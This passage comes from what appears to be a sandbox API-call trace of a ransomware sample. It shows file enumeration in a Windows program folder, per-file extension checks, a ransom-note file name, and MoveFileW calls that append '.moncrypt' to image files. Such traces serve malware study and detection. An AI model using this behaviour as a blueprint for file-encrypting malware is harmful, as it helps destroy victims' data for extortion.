dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.018] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.018] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.018] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.018] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.018] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.019] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.019] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.019] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.019] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.019] GlobalUnlock (hMem=0x44000c) returned 0 [0058.019] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.019] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.019] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.019] GlobalUnlock (hMem=0x44000c) returned 0 [0058.019] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.019] GlobalUnlock (hMem=0x440004) returned 0 [0058.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.020] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", cchWideChar=90, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.pngl", lpUsedDefaultChar=0x0) returned 90 [0058.021] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\NavigationRight_SelectionSubpicture.pngl", lpUsedDefaultChar=0x0) returned 4 [0058.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.021] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.021] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.021] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.021] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.022] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.022] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.022] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.022] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.022] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.022] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.022] GlobalUnlock (hMem=0x440004) returned 0 [0058.022] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.022] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.022] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.023] GlobalUnlock (hMem=0x440004) returned 0 [0058.023] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.023] GlobalUnlock (hMem=0x44000c) returned 0 [0058.023] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.023] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 